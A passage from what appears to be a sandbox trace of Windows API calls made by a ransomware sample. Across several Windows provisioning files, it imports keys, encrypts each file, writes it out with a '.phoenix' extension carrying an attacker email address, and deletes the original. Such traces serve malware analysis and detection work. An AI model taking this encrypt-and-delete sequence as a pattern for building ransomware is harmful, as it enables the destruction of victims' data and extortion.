	[0255.162] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.162] CryptDestroyKey (hKey=0x151140) returned 1
	[0255.162] CloseHandle (hObject=0x308) returned 1
	[0255.162] CloseHandle (hObject=0x2e0) returned 1
	[0255.162] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.163] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.163] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.165] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0255.165] CloseHandle (hObject=0x2e0) returned 1
	[0255.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.165] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.165] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.165] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.165] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.166] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0255.166] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.166] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0255.168] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.168] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.170] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0255.170] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.170] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.170] CryptDestroyKey (hKey=0x151700) returned 1
	[0255.170] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.170] CryptDestroyKey (hKey=0x151200) returned 1
	[0255.170] CloseHandle (hObject=0x2e0) returned 1
	[0255.170] CloseHandle (hObject=0x308) returned 1
	[0255.170] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.171] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.171] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.172] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=719) returned 1
	[0255.172] CloseHandle (hObject=0x308) returned 1
	[0255.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.172] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.172] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.173] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.173] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.173] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151340) returned 1
	[0255.173] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.173] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cf, lpOverlapped=0x0) returned 1
	[0255.178] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.178] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.179] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0255.179] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.179] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.179] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.179] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.179] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.179] CloseHandle (hObject=0x308) returned 1
	[0255.179] CloseHandle (hObject=0x2e0) returned 1
	[0255.179] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.180] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.181] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=715) returned 1
	[0255.181] CloseHandle (hObject=0x2e0) returned 1
	[0255.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.181] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.181] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.182] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.182] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.182] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151340) returned 1
	[0255.182] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.183] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cb, lpOverlapped=0x0) returned 1
	[0255.185] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.185] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.186] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0255.186] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.186] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.186] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.186] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.187] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.187] CloseHandle (hObject=0x2e0) returned 1
	[0255.187] CloseHandle (hObject=0x308) returned 1
	[0255.187] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.188] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.188] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.189] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0255.189] CloseHandle (hObject=0x308) returned 1
	[0255.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.189] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0255.189] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.189] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0255.189] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.191] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0255.191] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.191] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0255.193] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0255.193] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.194] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0255.194] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.194] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.194] CryptDestroyKey (hKey=0x151700) returned 1
	[0255.194] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0255.194] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.194] CloseHandle (hObject=0x308) returned 1
	[0255.194] CloseHandle (hObject=0x2e0) returned 1
	[0255.195] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.196] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0255.196] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0255.197] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=712) returned 1
	[0255.197] CloseHandle (hObject=0x2e0) returned 1
	[0255.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
